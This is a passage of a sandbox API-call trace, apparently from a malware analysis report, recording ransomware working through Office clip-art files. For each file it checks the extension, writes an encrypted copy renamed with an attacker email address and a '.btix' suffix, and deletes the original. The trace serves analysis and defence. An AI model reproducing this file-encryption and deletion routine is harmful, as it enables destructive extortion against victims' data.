Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0147.875] lstrlenW (lpString=".jpg") returned 4 [0147.875] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0147.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0147.875] lstrlenW (lpString=".doc") returned 4 [0147.875] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.875] lstrlenW (lpString=".docx") returned 5 [0147.875] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.875] lstrlenW (lpString=".pdf") returned 4 [0147.875] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.875] lstrlenW (lpString=".xls") returned 4 [0147.875] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.875] lstrlenW (lpString=".xlsx") returned 5 [0147.875] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.875] lstrlenW (lpString=".ppt") returned 4 [0147.875] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0147.875] lstrlenW (lpString=".zip") returned 4 [0147.875] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.875] lstrlenW (lpString=".rar") returned 4 [0147.875] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.875] lstrlenW (lpString=".bz2") returned 4 [0147.875] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.875] lstrlenW (lpString=".7z") returned 3 [0147.875] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0147.876] lstrlenW (lpString=".dbf") returned 4 [0147.876] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0147.876] lstrlenW (lpString=".1cd") returned 4 [0147.876] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0147.876] lstrlenW (lpString=".jpg") returned 4 [0147.876] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.876] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0147.876] lstrlenW (lpString="HH00625_.WMF") returned 12 [0147.876] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0147.876] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=2116) returned 1 [0147.876] CloseHandle (hObject=0x37c) returned 1 [0147.876] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf")) returned 0x220 [0147.876] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0147.876] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0147.876] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.877] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0147.877] GetLastError () returned 0x0 [0147.877] ReadFile (in: hFile=0x37c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x844, lpOverlapped=0x0) returned 1 [0147.878] WriteFile (in: hFile=0x380, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x850, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x850, lpOverlapped=0x0) returned 1 [0147.878] ReadFile (in: hFile=0x37c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0147.879] WriteFile (in: hFile=0x380, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0147.879] SetEndOfFile (hFile=0x380) returned 1 [0147.879] CloseHandle (hObject=0x380) returned 1 [0147.879] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.879] SetEndOfFile (hFile=0x37c) returned 1 [0147.880] CloseHandle (hObject=0x37c) returned 1 [0147.880] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0147.880] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf")) returned 1 [0147.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0147.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0147.880] lstrlenW (lpString=".doc") returned 4 [0147.880] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.880] lstrlenW (lpString=".docx") returned 5 [0147.880] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.881] lstrlenW (lpString=".pdf") returned 4 [0147.881] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.881] lstrlenW (lpString=".xls") returned 4 [0147.881] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.881] lstrlenW (lpString=".xlsx") returned 5 [0147.881] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.881] lstrlenW (lpString=".ppt") returned 4 [0147.881] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0147.881] lstrlenW (lpString=".zip") returned 4 [0147.881] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.881] lstrlenW (lpString=".rar") returned 4 [0147.881] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.881] lstrlenW (lpString=".bz2") returned 4 [0147.881] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.881] lstrlenW (lpString=".7z") returned 3 [0147.881] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0147.881] lstrlenW (lpString=".dbf") returned 4 [0147.881] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0147.881] lstrlenW (lpString=".1cd") returned 4 [0147.881] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0147.881] lstrlenW (lpString=".jpg") returned 4 [0147.881] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0147.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0147.881] lstrlenW (lpString=".doc") returned 4 [0147.881] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.881] lstrlenW (lpString=".docx") returned 5 [0147.881] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.881] lstrlenW (lpString=".pdf") returned 4 [0147.881] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.882] lstrlenW (lpString=".xls") returned 4 [0147.882] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.882] lstrlenW (lpString=".xlsx") returned 5 [0147.882] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.882] lstrlenW (lpString=".ppt") returned 4 [0147.882] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0147.882] lstrlenW (lpString=".zip") returned 4 [0147.882] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.882] lstrlenW (lpString=".rar") returned 4 [0147.882] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.882] lstrlenW (lpString=".bz2") returned 4 [0147.882] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.882] lstrlenW (lpString=".7z") returned 3 [0147.882] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0147.882] lstrlenW (lpString=".dbf") returned 4 [0147.882] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0147.882] lstrlenW (lpString=".1cd") returned 4 [0147.882] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0147.882] lstrlenW (lpString=".jpg") returned 4 [0147.882] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.882] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0147.882] lstrlenW (lpString="HH00636_.WMF") returned 12 [0147.882] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0147.882] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=1568) returned 1 [0147.883] CloseHandle (hObject=0x37c) returned 1 [0147.883] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf")) returned 0x220 [0147.883] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0147.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0147.883] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.883] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0147.883] GetLastError () returned 0x0 [0147.883] ReadFile (in: hFile=0x37c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x620, lpOverlapped=0x0) returned 1 [0147.884] WriteFile (in: hFile=0x380, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x630, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x630, lpOverlapped=0x0) returned 1 [0147.885] ReadFile (in: hFile=0x37c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0147.885] WriteFile (in: hFile=0x380, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0147.885] SetEndOfFile (hFile=0x380) returned 1 [0147.885] CloseHandle (hObject=0x380) returned 1 [0147.885] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.885] SetEndOfFile (hFile=0x37c) returned 1 [0147.886] CloseHandle (hObject=0x37c) returned 1 [0147.886] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0147.886] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf")) returned 1 [0147.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0147.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0147.887] lstrlenW (lpString=".doc") returned 4 [0147.887] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.887] lstrlenW (lpString=".docx") returned 5 [0147.887] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.887] lstrlenW (lpString=".pdf") returned 4 [0147.887] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.887] lstrlenW (lpString=".xls") returned 4 [0147.887] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.887] lstrlenW (lpString=".xlsx") returned 5 [0147.887] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.887] lstrlenW (lpString=".ppt") returned 4 [0147.887] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0147.887] lstrlenW (lpString=".zip") returned 4 [0147.887] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.887] lstrlenW (lpString=".rar") returned 4 [0147.887] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.887] lstrlenW (lpString=".bz2") returned 4 [0147.887] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.887] lstrlenW (lpString=".7z") returned 3 [0147.887] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0147.887] lstrlenW (lpString=".dbf") returned 4 [0147.887] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0147.887] lstrlenW (lpString=".1cd") returned 4 [0147.887] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0147.887] lstrlenW (lpString=".jpg") returned 4 [0147.887] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0147.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0147.887] lstrlenW (lpString=".doc") returned 4 [0147.887] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.887] lstrlenW (lpString=".docx") returned 5 [0147.888] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.888] lstrlenW (lpString=".pdf") returned 4 [0147.888] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.888] lstrlenW (lpString=".xls") returned 4 [0147.888] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.888] lstrlenW (lpString=".xlsx") returned 5 [0147.888] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.888] lstrlenW (lpString=".ppt") returned 4 [0147.888] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0147.888] lstrlenW (lpString=".zip") returned 4 [0147.888] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.888] lstrlenW (lpString=".rar") returned 4 [0147.888] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.888] lstrlenW (lpString=".bz2") returned 4 [0147.888] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.888] lstrlenW (lpString=".7z") returned 3 [0147.888] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0147.888] lstrlenW (lpString=".dbf") returned 4 [0147.888] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0147.888] lstrlenW (lpString=".1cd") returned 4 [0147.888] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0147.888] lstrlenW (lpString=".jpg") returned 4 [0147.888] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.888] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0147.888] lstrlenW (lpString="HH00669_.WMF") returned 12 [0147.888] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0147.889] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=11490) returned 1 [0147.889] CloseHandle (hObject=0x37c) returned 1 [0147.889] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf")) returned 0x220 [0147.889] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0147.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0147.889] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.889] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0147.889] GetLastError () returned 0x0 [0147.889] ReadFile (in: hFile=0x37c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x2ce2, lpOverlapped=0x0) returned 1 [0147.890] WriteFile (in: hFile=0x380, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x2cf0, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x2cf0, lpOverlapped=0x0) returned 1 [0147.891] ReadFile (in: hFile=0x37c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0147.891] WriteFile (in: hFile=0x380, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0147.891] SetEndOfFile (hFile=0x380) returned 1 [0147.892] CloseHandle (hObject=0x380) returned 1 [0147.892] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.892] SetEndOfFile (hFile=0x37c) returned 1 [0147.892] CloseHandle (hObject=0x37c) returned 1 [0147.893] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0147.893] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf")) returned 1 [0147.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0147.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0147.893] lstrlenW (lpString=".doc") returned 4 [0147.893] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.893] lstrlenW (lpString=".docx") returned 5 [0147.893] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.893] lstrlenW (lpString=".pdf") returned 4 [0147.893] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.893] lstrlenW (lpString=".xls") returned 4 [0147.893] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.893] lstrlenW (lpString=".xlsx") returned 5 [0147.893] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.893] lstrlenW (lpString=".ppt") returned 4 [0147.893] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0147.893] lstrlenW (lpString=".zip") returned 4 [0147.893] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.893] lstrlenW (lpString=".rar") returned 4 [0147.893] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.893] lstrlenW (lpString=".bz2") returned 4 [0147.893] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.894] lstrlenW (lpString=".7z") returned 3 [0147.894] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0147.894] lstrlenW (lpString=".dbf") returned 4 [0147.894] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0147.894] lstrlenW (lpString=".1cd") returned 4 [0147.894] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0147.894] lstrlenW (lpString=".jpg") returned 4 [0147.894] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0147.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0147.894] lstrlenW (lpString=".doc") returned 4 [0147.894] lstrcmpiW (lpString1=".doc", lpString2=".WMF") 